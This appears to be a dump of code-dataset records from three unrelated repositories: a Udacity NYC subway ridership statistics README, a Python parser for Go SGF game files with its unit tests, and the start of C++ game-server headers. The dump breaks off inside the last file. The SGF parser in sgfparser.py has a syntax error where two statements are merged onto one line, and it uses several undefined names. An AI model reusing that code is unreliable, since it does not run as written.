"path": "/README.md", "repo_name": "abitbetter/NYC-Subway", "src_encoding": "UTF-8", "text": "# NYC-Subway\n\n# Section 0. References\n\n## 0.1 Welch T Test\n- Intro to Data Science course at Udacity\n- http://stackoverflow.com/questions/22611446/perform-2-sample-t-test\n- http://docs.scipy.org/doc/scipy-0.16.0/reference/generated/scipy.stats.ttest_ind.html\n\n## 0.2 Mann Whitney Test\n\n\n# Section 1. Statistical Test\n\n\n1.1 Which statistical test did you use to analyze the NYC subway data? Did you use a one-tail or a two-tail P value? What is the null hypothesis? What is your p-critical value?\n```\na) Mann Withney test is used to analyze NYC subway data.\nb) A one tail P value is used as we want to know if NYC subway ridership is greater given rainy days.\nc) The null hypothesis is: Ho: P(ridership|no-rain > ridership|rain) >= 0.5\n The alterntaive hypothesis is: H1: P(ridership|no-rain > ridership|rain) < 0.5\nd) The chosen p-critical value is 0.05.\n```\n\n\n1.2 Why is this statistical test applicable to the dataset? In particular, consider the assumptions that the test is making about the distribution of ridership in the two samples.\n```\nMann Whitney test makes the assumption of independent samples (with no overlap in ridership). Also there are far more samples than 20 in the dataset and a priori both distributions are unknown. Also there is no need for assuming a normal distribution. Therefore the statistical test can be applied.\n```\n\n1.3 What results did you get from this statistical test? These should include the following numerical values: p-values, as well as the means for each of the two samples under test.\n```\nHourly entries with rain: mean = 1105.45, variance = 2.47832e+11\nHourly entries without rain: mean = 1090.28, variance = 4.72824e+11\nMann Whitney test: U = 1.92441e+09, p = 0.0193096\n```\n\n1.4 What is the significance and interpretation of these results?\n```\nWith Mann Whitney test p = 0.01936 < 0.05 => Null hypothesis is rejected. We can state that on rainy days there is more ridership at the NYC subway.\n```\n\n\n# Section 2. Linear Regression\n\n2.1 What approach did you use to compute the coefficients theta and produce prediction for ENTRIESn_hourly in your regression model:\n\n OLS using Statsmodels or Scikit Learn\n Gradient descent using Scikit Learn\n Or something different?\n```\nI used an OLS approach for computing coeficients and produce a prediction.\n```\n\n2.2 What features (input variables) did you use in your model? Did you use any dummy variables as part of your features?\n```\nI used 'meanwindspdi','meantempi','precipi','rain', 'Hour','maxtempi' and UNIT as dummy variable.\n```\n2.3 Why did you select these features in your model? We are looking for specific reasons that lead you to believe that\n\nthe selected features will contribute to the predictive power of your model.\n\n Your reasons might be based on intuition. For example, response for fog might be: “I decided to use fog because I thought that when it is very foggy outside people might decide to use the subway more often.”\n Your reasons might also be based on data exploration and experimentation, for example: “I used feature X because as soon as I included it in my model, it drastically improved my R2 value.” \n\n```\nAt first I thought that meteorological magnitudes linked with rain would improve the prediction, such as minpressure, mindewpti, precipi, fog and thunder. After doing some experimentation I found out that thunder wasn´t useful. I also experimented by adding all variables and testing each time with one less as far as I saw that my R^2 didn´t improve.\n```\n\n2.4 What are the parameters (also known as \"coefficients\" or \"weights\") of the non-dummy features in your linear regression model?\n```\nintercept 992.499526\nmeanwindspdi 21.398801\nmeantempi -29.920590\nprecipi 32.292600\nrain 22.553125\nHour 67.418064\nmaxtempi 23.017546\n```\n\n2.5 What is your model’s R2 (coefficients of determination) value?\n```\nR^2 coefficient = 0.458889\n```\n\n2.6 What does this R2 value mean for the goodness of fit for your regression model? Do you think this linear model to predict ridership is appropriate for this dataset, given this R2 value?\n```\nThe previous value is a low value, saying that my regression model does not fit well the given data. This means that it is not a good model to use for prediction. This means that the ratio of residual variability is high and the model only explains a 46% of the original variability. Finally R is a masurement of how well predictors are related with the independent variable.\n```\n\n# Section 3. Visualization\n\n3.1 Visualization of ENTRIESn_hourly for rainy days and one of ENTRIESn_hourly for non-rainy days.\n![alt text](https://cloud.githubusercontent.com/assets/7275475/12863478/e100dab4-cc76-11e5-9efd-ea802f0cd9f4.png \"NYC_Ridership_Histogram\")\n\nLooking at first to this plot it might appear that on days with no rain ridership is higher than in days with rain. But as we have demonstrated before, this is not true as Mann Whitney test shows.\n\n3.2 One visualization can be more freeform. You should feel free to implement something that we discussed in class (e.g., scatter plots, line plots) or attempt to implement something more advanced if you'd like.\n![alt text](https://cloud.githubusercontent.com/assets/7275475/12863551/a7c477e6-cc77-11e5-8eef-c0901f1127ef.png)\n\nHere nothing strange seems to happen, as we can expect more ridership during working days (from Monday to Friday) than on weekends.\n\n![alt text](https://cloud.githubusercontent.com/assets/7275475/12863553/aba5525e-cc77-11e5-8bab-1ec20a819c43.png)\n\nThis plot just states similar information as the one before. Instead os visualizing one week we can observe the four weeks during one month.\n\n![alt text](https://cloud.githubusercontent.com/assets/7275475/12863555/ae45c4da-cc77-11e5-9acc-753f0a91b51f.png)\n\nAt this plot we can see what it seems to be a ridership increase during change in work shifts, lunch time and dinner time. If we had rainy hours during each day, a more deep analysis could also be done, comparing if they happened at lunch times, for example.\n\n\n# Section 4. Conclusion\n\n4.1 From your analysis and interpretation of the data, do more people ride the NYC subway when it is raining or when it is not raining?\n```\nIf we look barely to the histogram of 3.1 we could wrongly say that there is more ridership at days without rain than at days with rain. But this is not true as Mann Whitney test results show. With Mann Whitney test p = 0.01936 < 0.05 => Null hypothesis is rejected. We can state that on rainy days there is more ridership at the NYC subway.\n```\n\n4.2 What analyses lead you to this conclusion? You should use results from both your statistical tests and your linear regression to support your analysis.\n```\nAs said before, after running the Mann Whitney test p = 0.01936 < 0.05 => Null hypothesis is rejected. We can state that on rainy days there is more ridership at the NYC subway.\n\nIf we look at the regression parameters we can appreciate that meteorological variables usually associated with rain have positive values, including the variable rain itself. This points out what the Mann Whitney test stated.\n\nmeanwindspdi 21.398801\nmeantempi -29.920590\nprecipi 32.292600\nrain 22.553125\nHour 67.418064\nmaxtempi 23.017546\n```\n\n# Section 5. Reflection\n5.1 Please discuss potential shortcomings of the methods of your analysis, including dataset and analysis, such as the linear regression model or statistical test.\n```\nRegarding the dataset it appears to be some kind of sample measurement frequency for each line, which can miss some type of trend that should be studied. At the regression model the dummy units variable parameters have very high values to those of the none dummy variables. This translates to a strong dependecny on unit lines. Also if instead of a p-critical value of 0.05 we had chosen 0.01, we could not have rejected the null hypothesis.\n```\n" } ]
2
mdm/tianyuan
https://github.com/mdm/tianyuan
9704e3073fb14898dfead7fc7438a9d0bf9ee6b9
d5f8887cc22285beb42945eb94e37c2f4fc105d3
c7265530401a5900bb095bed47d05e646beffe3e
refs/heads/master
2021-01-19T07:28:19.981533
2017-04-01T07:34:07
2017-04-01T07:34:07
62,442,791
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8030303120613098, "alphanum_fraction": 0.8030303120613098, "avg_line_length": 43, "blob_id": "4898b44506dbe6d6b449c28be3be0181f1edd07f", "content_id": "35866a3aacd32d24bb0cc5edfbf7802435be7438", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 132, "license_type": "no_license", "max_line_length": 58, "num_lines": 3, "path": "/docs/todo.md", "repo_name": "mdm/tianyuan", "src_encoding": "UTF-8", "text": "* check for duplicate properties in nodes\n* check if gametree is mutable\n* check for single variation (variations without siblings)\n" }, { "alpha_fraction": 0.682539701461792, "alphanum_fraction": 0.682539701461792, "avg_line_length": 14.25, "blob_id": "74ab72f5da0b907be600e53dc9b8bb3085823753", "content_id": "f95d812f05ead251f2fefde7dba57864095a537b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 63, "license_type": "no_license", "max_line_length": 47, "num_lines": 4, "path": "/docs/ideas.md", "repo_name": "mdm/tianyuan", "src_encoding": "UTF-8", "text": "Ideas\n=====\n\n * thumbs up/down icon for position annotations\n \n" }, { "alpha_fraction": 0.5108054876327515, "alphanum_fraction": 0.5363457798957825, "avg_line_length": 15.966666221618652, "blob_id": "be9631a43d52e273f1b7fb92665ef674586653ba", "content_id": "2c009dfc6d4269bd0c473e42290fb4697b907fc3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 509, "license_type": "no_license", "max_line_length": 27, "num_lines": 30, "path": "/tests/playground.py", "repo_name": "mdm/tianyuan", "src_encoding": "UTF-8", "text": "def consume(data, count):\n data = data[count:]\n return data\n \ndef f1(data):\n data = consume(data, 5)\n try:\n data = f2(data)\n except Exception:\n pass\n return data\n \ndef f2(data):\n data = consume(data, 3)\n raise Exception\n return data\n \ntest1 = b'this is a test'\n\nclass c1:\n def __init__(self):\n self.value = None\n def m1(self, value):\n self.value = value\n \nclass c2:\n def m2(self, other):\n other.m1('tada!!')\n\ntest2 = c1()\n" }, { "alpha_fraction": 0.6843549609184265, "alphanum_fraction": 0.6843549609184265, "avg_line_length": 29.33333396911621, "blob_id": "ddcc9506f4fd93eb3573bd8c5bc10617626664f8", "content_id": "e8e58e72b5b4e2e6eaa5c2dc440cd79cd9b7ccff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1093, "license_type": "no_license", "max_line_length": 126, "num_lines": 36, "path": "/tianyuan/sgfparser_arpeggio.py", "repo_name": "mdm/tianyuan", "src_encoding": "UTF-8", "text": "import arpeggio\n\ndef sgf_collection():\n return arpeggio.OneOrMore(sgf_game_tree), arpeggio.EOF\n \ndef sgf_game_tree():\n return '(', sgf_sequence, arpeggio.ZeroOrMore(sgf_game_tree), ')'\n \ndef sgf_sequence():\n return arpeggio.OneOrMore(sgf_node)\n \ndef sgf_node():\n return ';', arpeggio.ZeroOrMore(sgf_property)\n \ndef sgf_property():\n return sgf_property_identifier, arpeggio.OneOrMore(sgf_property_value)\n\ndef sgf_property_identifier():\n return arpeggio.OneOrMore(sgf_uppercase_letter)\n \ndef sgf_property_value():\n return '[', sgf_compose_or_value_type, ']'\n\ndef sgf_compose_or_value_type():\n return arpeggio.ZeroOrMore(sgf_value_type)\n# return [sgf_value_type, sgf_compose]\n \ndef sgf_value_type():\n return arpeggio.RegExMatch(r'[^\\]]')\n# return [sgf_none, sgf_number, sgf_real, sgf_double, sgf_color, sgf_simple_text, sgf_text, sgf_point, sgf_move, sgf_stone]\n \ndef sgf_uppercase_letter():\n return arpeggio.RegExMatch('[A-Z]')\n \nparser = arpeggio.ParserPython(sgf_collection, debug = True)\nparser.parse(open('test.sgf', 'r').read())\n\n" }, { "alpha_fraction": 0.5805639624595642, "alphanum_fraction": 0.5815709829330444, "avg_line_length": 31.032258987426758, "blob_id": "c6d840afaa06a5ce86a8f1ca25d0547d73a5fcbf", "content_id": "ce82f08ebc4ad71c6434f12b9ebcd4cd04dbe139", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1986, "license_type": "no_license", "max_line_length": 88, "num_lines": 62, "path": "/tianyuan/gametree.py", "repo_name": "mdm/tianyuan", "src_encoding": "UTF-8", "text": "import collections\n\nclass GameTreeNode:\n def __init__(self):\n self.properties = collections.OrderedDict()\n\nclass GameTree:\n def __init__(self):\n self.root = None\n self.children = {}\n def add_node(self, node, parent = None):\n if parent:\n self.children.setdefault(parent, []).append(node)\n else:\n self.root = node\n def remove_node(self, node):\n del(self.children[node])\n def get_root(self):\n return self.root\n def get_children(self, node):\n return self.children.setdefault(node, [])\n def set_root_property(self, identifier, values):\n self.root.properties[identifier] = values\n def get_root_property(self, identifier):\n return self.root.properties[identifier]\n\nclass GameTreeBuilder:\n def __init__(self):\n self.game_tree = GameTree()\n self.last_node = None\n self.variation_stack = []\n def start_variation(self):\n self.variation_stack.append(self.last_node)\n def end_variation(self):\n self.last_node = self.variation_stack.pop()\n def add_node(self, node):\n self.game_tree.add_node(node, self.last_node)\n self.last_node = node\n def get_game_tree(self):\n return self.game_tree\n \nclass DotFileBuilder(GameTreeBuilder):\n def __init__(self):\n super().__init__()\n self.next_label = 1\n self.edges = []\n def add_node(self, _):\n if self.last_node:\n self.edges.append(' {} -> {};\\n'.format(self.last_node, self.next_label))\n self.last_node = self.next_label\n self.next_label += 1\n def get_game_tree(self):\n filename = 'tests/test.dot'\n dot_file = open(filename, 'w')\n dot_file.write('digraph ' + 'test' + ' {\\n')\n for edge in self.edges:\n dot_file.write(edge)\n dot_file.write('}\\n')\n dot_file.close()\n game_tree = GameTree()\n game_tree.add_node({})\n return game_tree\n" }, { "alpha_fraction": 0.5644354820251465, "alphanum_fraction": 0.5727695226669312, "avg_line_length": 46.89075469970703, "blob_id": "a2dbc590ba75d3b8b2ca43e26750de1aee6100e5", "content_id": "5a47bc1eb3941951b7488a1b369f6c9a230ec80e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11399, "license_type": "no_license", "max_line_length": 212, "num_lines": 238, "path": "/tianyuan/sgfparser.py", "repo_name": "mdm/tianyuan", "src_encoding": "UTF-8", "text": "import string\nimport tianyuan.gametree\n\nclass SGFParserError(Exception):\n def __init__(self, position, message):\n self.position = position\n self.message = message\n\nclass SGFSemanticError(Exception):\n def __init__(self, message):\n self.message = message\n\nclass SGFParser:\n def __init__(self, builder_class):\n self.builder_class = builder_class\n self.bytes_consumed = 0\n def consume(self, sgf_data, count):\n sgf_data = sgf_data[count:]\n self.bytes_consumed += count\n return sgf_data\n def skip_whitespace(self, sgf_data):\n while sgf_data and (sgf_data[0:1].decode('ascii') in string.whitespace):\n sgf_data = self.consume(sgf_data, 1)\n return sgf_data\n def parse_file(self, filename):\n sgf_file = open(filename, 'rb')\n sgf_data = sgf_file.read()\n sgf_file.close()\n return self.parse_collection(sgf_data)\n def parse_collection(self, sgf_data):\n collection = []\n builder = self.builder_class()\n sgf_data = self.parse_game_tree(sgf_data, builder)\n while True:\n game_tree = builder.get_game_tree()\n self.check_semantics(game_tree)\n collection.append(game_tree)\n try:\n builder = self.builder_class()\n sgf_data = self.parse_game_tree(sgf_data, builder)\n except SGFParserError:\n break\n sgf_data = self.skip_whitespace(sgf_data)\n if sgf_data:\n raise SGFParserError(self.bytes_consumed, 'Expected end-of-file while parsing collection.')\n return collection\n def parse_game_tree(self, sgf_data, builder):\n sgf_data = self.skip_whitespace(sgf_data)\n if sgf_data and sgf_data[0:1] == b'(':\n sgf_data = self.consume(sgf_data, 1)\n builder.start_variation()\n sgf_data = self.parse_sequence(sgf_data, builder)\n while True:\n try:\n sgf_data = self.parse_game_tree(sgf_data, builder)\n except SGFParserError:\n break\n sgf_data = self.skip_whitespace(sgf_data)\n if sgf_data and sgf_data[0:1] == b')':\n sgf_data = self.consume(sgf_data, 1)\n builder.end_variation()\n else:\n raise SGFParserError(self.bytes_consumed, 'Expected \")\" while parsing game tree.')\n else:\n raise SGFParserError(self.bytes_consumed, 'Expected \"(\" while parsing game tree.')\n return sgf_data\n def parse_sequence(self, sgf_data, builder):\n sgf_data = self.parse_node(sgf_data, builder)\n while True:\n try:\n sgf_data = self.parse_node(sgf_data, builder)\n except SGFParserError:\n break\n return sgf_data\n def parse_node(self, sgf_data, builder):\n sgf_data = self.skip_whitespace(sgf_data)\n if sgf_data and sgf_data[0:1] == b';':\n sgf_data = self.consume(sgf_data, 1)\n game_tree_node = tianyuan.gametree.GameTreeNode()\n while True:\n try:\n sgf_data, identifier, values = self.parse_property(sgf_data)\n if identifier in game_tree_node.properties:\n raise SGFSemanticError('Duplicate property in the same node.')\n else:\n game_tree_node.properties[identifier] = values\n except SGFParserError:\n break\n builder.add_node(game_tree_node)\n else:\n raise SGFParserError(self.bytes_consumed, 'Expected \";\" while parsing node.')\n return sgf_data\n def parse_property(self, sgf_data):\n values = []\n sgf_data, identifier = self.parse_property_identifier(sgf_data)\n sgf_data, value = self.parse_property_value(sgf_data)\n values.append(value)\n while True:\n try:\n sgf_data, value = self.parse_property_value(sgf_data)\n values.append(value)\n except SGFParserError:\n break\n return sgf_data, identifier, values\n def parse_property_identifier(self, sgf_data):\n identifier = b''\n sgf_data = self.skip_whitespace(sgf_data)\n if sgf_data and (sgf_data[0:1].decode('ascii') in string.ascii_uppercase):\n identifier += sgf_data[0:1]\n sgf_data = self.consume(sgf_data, 1)\n while sgf_data and (sgf_data[0:1].decode('ascii') in string.ascii_uppercase):\n identifier += sgf_data[0:1]\n sgf_data = self.consume(sgf_data, 1)\n else:\n raise SGFParserError(self.bytes_consumed, 'Expected uppercase letter while parsing property identifier.')\n return sgf_data, identifier.decode('ascii')\n def parse_property_value(self, sgf_data):\n value = b''\n sgf_data = self.skip_whitespace(sgf_data)\n if sgf_data and sgf_data[0:1] == b'[':\n sgf_data = self.consume(sgf_data, 1)\n while sgf_data and sgf_data[0:1] != b']':\n if sgf_data[0:1] == b'\\\\':\n sgf_data = self.consume(sgf_data, 1)\n # remove \"soft\" line breaks\n if sgf_data and sgf_data[0:1] == b'\\n': \n sgf_data = self.consume(sgf_data, 1)\n if sgf_data and sgf_data[0:1] == b'\\r': \n sgf_data = self.consume(sgf_data, 1)\n elif sgf_data and sgf_data[0:1] == b'\\r': \n sgf_data = self.consume(sgf_data, 1)\n if sgf_data and sgf_data[0:1] == b'\\n': \n sgf_data = self.consume(sgf_data, 1)\n if sgf_data:\n value += sgf_data[0:1]\n sgf_data = self.consume(sgf_data, 1)\n if sgf_data:\n sgf_data = self.consume(sgf_data, 1)\n else:\n raise SGFParserError(self.bytes_consumed, 'Expected \"]\" while parsing property value.')\n else:\n raise SGFParserError(self.bytes_consumed, 'Expected \"[\" while parsing property value.')\n return sgf_data, value\n def check_semantics(self, game_tree):\n if 'SZ' in game_tree.get_root().properties:\n game_tree.get_root().properties['SZ'][0] = self.validate_alternative(self.validate_composed(self.validate_number, self.validate_number), self.validate_number, game_tree.get_root().properties['SZ'][0])\n else:\n game_tree.get_root().properties['SZ'] = [19]\n if 'CA' in game_tree.get_root().properties:\n self.validate_simple_text(game_tree.get_root().properties['CA'][0])\n else:\n game_tree.get_root().properties['CA'] = ['iso-8859-1']\n self.check_node(game_tree.get_root(), game_tree)\n def check_node(self, node, game_tree):\n for property in node.properties:\n self.check_property(property, node, game_tree)\n # TODO: delete faulty properties\n print('\\n')\n for child in game_tree.get_children(node):\n self.check_node(child, game_tree)\n def check_property(self, property, node, game_tree):\n print(property)\n print(repr(node.properties[property]))\n # TODO: check for superfluous values\n if property in ['DM', 'GB', 'GW', 'HO', 'UC', 'BM', 'TE']: # value type double\n node.properties[property][0] = self.validate_double(node.properties[property][0])\n elif property in ['PL']: # value type color\n node.properties[property][0] = self.validate_color(node.properties[property][0])\n elif property in ['B', 'W']: # value type stone, point or move\n node.properties[property][0] = self.validate_coordinate(node.properties[property][0])\n elif property in ['AB', 'AE', 'AW', 'CR', 'MA', 'SL', 'SQ', 'TR']: # value type list of stone, point or move\n if node.properties[property] > 0:\n node.properties[property] = [self.convert_coordinate(value.decode('ascii')) for value in node.properties[property]]\n else:\n raise SGFSemanticError('List of value of property \\'{property}\\' must not be empty.')\n elif property in ['DD', 'VW', 'TW', 'TB']: # value type possibly empty list of stone, point or move\n node.properties[property] = [self.convert_coordinate(value.decode('ascii')) for value in node.properties[property]]\n def validate_double(self, value):\n if value == b'1' or value == b'2':\n return int(value)\n else:\n raise SGFSemanticError('Value must be \\'1\\' or \\'2\\'.')\n def validate_color(self, value):\n if value == b'B' or value == b'W':\n return value.decode('ascii')\n else:\n raise SGFSemanticError('Value must be \\'B\\' or \\'W\\'.')\n def validate_coordinate(self, value):\n try:\n value = value.decode('ascii')\n coordinates = 'abcdefghijklmnopqrstuvwxyzABCEFGHIJKLMNOPQRSTUVWXYZ'\n board_size = game_tree.get_root().properties['SZ']\n if value == '' or (len(board_size) == 1 and board_size[0] <= 19) or (len(board_size) == 2 and board_size[0] <= 19 and board_size[1] <= 19): # via get root prop\n coordinate = None\n else:\n coordinate = (coordinates.index(value[0]), coordinates.index(value[1]))\n return coordinate\n except ValueError:\n raise SGFSemanticError('Value of property \\'{property}\\' must be a legal board coordinate.') def validate_number(self, value):\n pass\n def validate_number(self, value):\n try:\n value = value.decode('ascii')\n return int(value)\n except ValueError:\n raise SGFSemanticError('Value must be an integer.')\n def validate_real(self, value):\n try:\n value = value.decode('ascii')\n return float(value)\n except ValueError:\n raise SGFSemanticError('Value must be a floating point number.')\n def validate_text(self, value, encoding = 'iso-8859-1'):\n value = value.decode(charset)\n lines = re.split('\\r\\n|\\n\\r|\\r|\\n', value)\n lines = [re.sub('\\s', ' ', line) for line in lines]\n return '\\n'.join(lines)\n def validate_simple_text(self, value, encoding = 'iso-8859-1'):\n value = self.validate_text(value, encoding)\n return re.sub('\\n', ' ', value)\n def validate_list_or_none(self, element_validator, values):\n return [element_validator(value) for value in values]\n def validate_list(self, element_validator, values):\n if len(values) > 0:\n return self.validate_list_or_none(element_validator, values)\n else:\n raise SGFSemanticError('List of property values must not be empty.')\n def validate_composed(self, first_validator, second_validator, value):\n if value.find(b':') == -1:\n raise SGFSemanticError('Value must contain \\':\\'.')\n else:\n parts = value.split(b':')\n return first_validator(parts[0]), second_validator(parts[1])\n def validate_alternative(self, first_validator, second_validator, value):\n try:\n return first_validator(value)\n except SGFSemanticError:\n return second_validator(value)\n\n" }, { "alpha_fraction": 0.6835464239120483, "alphanum_fraction": 0.6857334971427917, "avg_line_length": 51.1315803527832, "blob_id": "9382318f25aabbf8f6f65f26fdbc277208e6f081", "content_id": "3d79c4c196626edb1ef234001ab73c8ed3da8f10", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5944, "license_type": "no_license", "max_line_length": 129, "num_lines": 114, "path": "/tests/test_sgfparser.py", "repo_name": "mdm/tianyuan", "src_encoding": "UTF-8", "text": "import unittest\n\nimport tianyuan.gametree\nimport tianyuan.sgfparser\n\nclass TestPropertyValue(unittest.TestCase):\n def setUp(self):\n self.parser = tianyuan.sgfparser.SGFParser(tianyuan.gametree.DotFileBuilder)\n def test_empty_value(self):\n self.assertEqual(self.parser.parse_property_value(b'[]'), (b'', b''))\n def test_simple_value(self):\n self.assertEqual(self.parser.parse_property_value(b'[test]'), (b'', b'test'))\n def test_leading_whitespace(self):\n self.assertEqual(self.parser.parse_property_value(b' \\n \\t [test]'), (b'', b'test'))\n def test_escaped_chars(self):\n self.assertEqual(self.parser.parse_property_value(b'[t\\:e\\\\\\\\s\\]t]'), (b'', b't:e\\\\s]t'))\n def test_trailing_chars(self):\n self.assertEqual(self.parser.parse_property_value(b'[test]abc'), (b'abc', b'test'))\n def test_unexpected_start(self):\n with self.assertRaises(tianyuan.sgfparser.SGFParserError) as cm:\n self.parser.parse_property_value(b'test]')\n self.assertEqual(cm.exception.position, 0)\n def test_unexpected_end(self):\n with self.assertRaises(tianyuan.sgfparser.SGFParserError) as cm:\n self.parser.parse_property_value(b'[test')\n self.assertEqual(cm.exception.position, 5)\n\nclass TestPropertyIdentifier(unittest.TestCase):\n def setUp(self):\n self.parser = tianyuan.sgfparser.SGFParser(tianyuan.gametree.DotFileBuilder)\n def test_single_letter(self):\n self.assertEqual(self.parser.parse_property_identifier(b'A[test]'), (b'[test]', 'A'))\n def test_multiple_letters(self):\n self.assertEqual(self.parser.parse_property_identifier(b'AB[test]'), (b'[test]', 'AB'))\n def test_non_ucletter_first(self):\n with self.assertRaises(tianyuan.sgfparser.SGFParserError) as cm:\n self.parser.parse_property_identifier(b'a[test]')\n self.assertEqual(cm.exception.position, 0)\n def test_non_ucletter_last(self):\n self.assertEqual(self.parser.parse_property_identifier(b'Ab[test]'), (b'b[test]', 'A'))\n\nclass TestProperty(unittest.TestCase):\n def setUp(self):\n self.parser = tianyuan.sgfparser.SGFParser(tianyuan.gametree.DotFileBuilder)\n def test_single_value(self):\n self.assertEqual(self.parser.parse_property(b'A[test]'), (b'', 'A', [b'test']))\n def test_multiple_values(self):\n self.assertEqual(self.parser.parse_property(b'AB[test][2]'), (b'', 'AB', [b'test', b'2']))\n def test_illegal_identifier(self):\n with self.assertRaises(tianyuan.sgfparser.SGFParserError) as cm:\n self.parser.parse_property(b'Ab[test]')\n self.assertEqual(cm.exception.position, 1)\n\nclass TestNode(unittest.TestCase):\n def setUp(self):\n self.parser = tianyuan.sgfparser.SGFParser(tianyuan.gametree.DotFileBuilder)\n def test_empty_node(self):\n self.assertEqual(self.parser.parse_node(b';', tianyuan.gametree.DotFileBuilder()), b'')\n def test_single_property(self):\n self.assertEqual(self.parser.parse_node(b';A[test]', tianyuan.gametree.DotFileBuilder()), b'')\n def test_multiple_properties(self):\n self.assertEqual(self.parser.parse_node(b';A[test]B[test]C[test]', tianyuan.gametree.DotFileBuilder()), b'')\n def test_illegal_node(self):\n with self.assertRaises(tianyuan.sgfparser.SGFParserError) as cm:\n self.parser.parse_node(b'A[test]', tianyuan.gametree.DotFileBuilder())\n self.assertEqual(cm.exception.position, 0)\n\nclass TestSequence(unittest.TestCase):\n def setUp(self):\n self.parser = tianyuan.sgfparser.SGFParser(tianyuan.gametree.DotFileBuilder)\n def test_single_node(self):\n self.assertEqual(self.parser.parse_sequence(b';A[test]', tianyuan.gametree.DotFileBuilder()), b'')\n def test_multiple_nodes(self):\n self.assertEqual(self.parser.parse_sequence(b';A[test];B[test];C[test]', tianyuan.gametree.DotFileBuilder()), b'')\n\nclass TestGameTree(unittest.TestCase):\n def setUp(self):\n self.parser = tianyuan.sgfparser.SGFParser(tianyuan.gametree.DotFileBuilder)\n def test_single_sequence(self):\n self.assertEqual(self.parser.parse_game_tree(b'(;A[test];B[test];C[test])', tianyuan.gametree.DotFileBuilder()), b'')\n def test_single_variation(self):\n self.assertEqual(self.parser.parse_game_tree(b'(;A[test](;B[test];C[test]))', tianyuan.gametree.DotFileBuilder()), b'')\n def test_variations(self):\n self.assertEqual(self.parser.parse_game_tree(b'(;A[test](;B[test])(;C[test]))', tianyuan.gametree.DotFileBuilder()), b'')\n def test_sequence_after_variation(self):\n with self.assertRaises(tianyuan.sgfparser.SGFParserError) as cm:\n self.parser.parse_game_tree(b'(;A[test](;B[test]);C[test])', tianyuan.gametree.DotFileBuilder())\n self.assertEqual(cm.exception.position, 19)\n\nclass TestCollection(unittest.TestCase):\n def setUp(self):\n self.parser = tianyuan.sgfparser.SGFParser(tianyuan.gametree.DotFileBuilder)\n def test_single_game_tree(self):\n self.assertEqual(len(self.parser.parse_collection(b'(;A[test];B[test];C[test])')), 1)\n def test_multiple_game_trees(self):\n self.assertEqual(len(self.parser.parse_collection(b'(;A[test];B[test];C[test])(;A[test];B[test];C[test])')), 2)\n def test_trailing_garbage(self):\n with self.assertRaises(tianyuan.sgfparser.SGFParserError) as cm:\n self.parser.parse_collection(b'(;A[test](;B[test])(;C[test]))test')\n self.assertEqual(cm.exception.position, 30)\n\nclass TestHelpers(unittest.TestCase):\n def setUp(self):\n self.parser = tianyuan.sgfparser.SGFParser(tianyuan.gametree.DotFileBuilder)\n def test_parse_file(self):\n self.parser.parse_file('tests/test.sgf')\n def test_skipping_whitespace(self):\n pass\n def test_not_skipping_chars(self):\n pass\n def test_consume_single_byte(self):\n pass\n def test_consume_multiple_bytes(self):\n pass\n\n" } ]
7
Mixone-FinallyHere/info-f-209
https://github.com/Mixone-FinallyHere/info-f-209
198fc946dabac93c8d746cee7ed4707c0948b7ac
35721d4d25d1052eea19f45956fc2f4499c6b65f
6cb16cc240242e79eb29939f72e6970c8d5b92c1
refs/heads/master
2021-01-22T09:57:46.833109
2014-05-17T13:23:34
2014-05-17T13:23:34
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7080745100975037, "alphanum_fraction": 0.7111801505088806, "avg_line_length": 16.88888931274414, "blob_id": "a4e90c9b42c4c13ccb8cfb7972b6da5e68634f76", "content_id": "435b8d67da7598c235e0b3d3e8f6b756750b2567", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 322, "license_type": "permissive", "max_line_length": 66, "num_lines": 18, "path": "/src/server/helpers.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef HELPERS_H\n#define HELPERS_H\n\n#include <stdlib.h>\n#include <netdb.h>\n#include <arpa/inet.h>\n#include <errno.h>\n#include <cstring>\n\n#include <string>\n\n#define RCV_SIZE 2\n\nstd::string recieveFrom(const int sock, char * buffer);\n\nstd::string split_message(std::string * key, std::string message);\n\n#endif // HELPERS_H\n" }, { "alpha_fraction": 0.7418032884597778, "alphanum_fraction": 0.7418032884597778, "avg_line_length": 15.266666412353516, "blob_id": "eb8cfe6f0905517953764e7ded5ec37db407c7cb", "content_id": "654090802e81d12bafb24cbf116b3ad3d34865e1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 244, "license_type": "permissive", "max_line_length": 53, "num_lines": 15, "path": "/src/common/lib/exception/SocketError.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef SOCKETERROR\n#define SOCKETERROR\n\n#include <iostream>\n#include <sstream>\n#include <exception>\n#include <stdexcept>\n\n\nclass SocketError: public std::runtime_error {\npublic:\n SocketError(std::string message=\"Socket Error.\");\n};\n\n#endif\n" }, { "alpha_fraction": 0.7120419144630432, "alphanum_fraction": 0.7120419144630432, "avg_line_length": 22.875, "blob_id": "5f2561b2de90836290c2e4b82f8a2048527be990", "content_id": "0327da7919c156c689e3a0209ba2593b80b3fe9b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 573, "license_type": "permissive", "max_line_length": 58, "num_lines": 24, "path": "/src/server/views/user.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef SERV_VIEWUSER_H\n#define SERV_VIEWUSER_H\n\n#include <cstdlib>\n#include <vector>\n\n#include \"helpers.h\"\n#include \"../../common/lib/json/json.h\"\n#include \"../../common/lib/json/helpers.h\"\n#include \"../../common/lib/exception/BadRequest.h\"\n\nclass UserHandler;\n\nnamespace views {\nvoid login(JsonValue * message, UserHandler * handler);\nvoid signup(JsonValue * message, UserHandler * handler);\nvoid userlist(JsonValue * message, UserHandler * handler);\n}\n\n#include 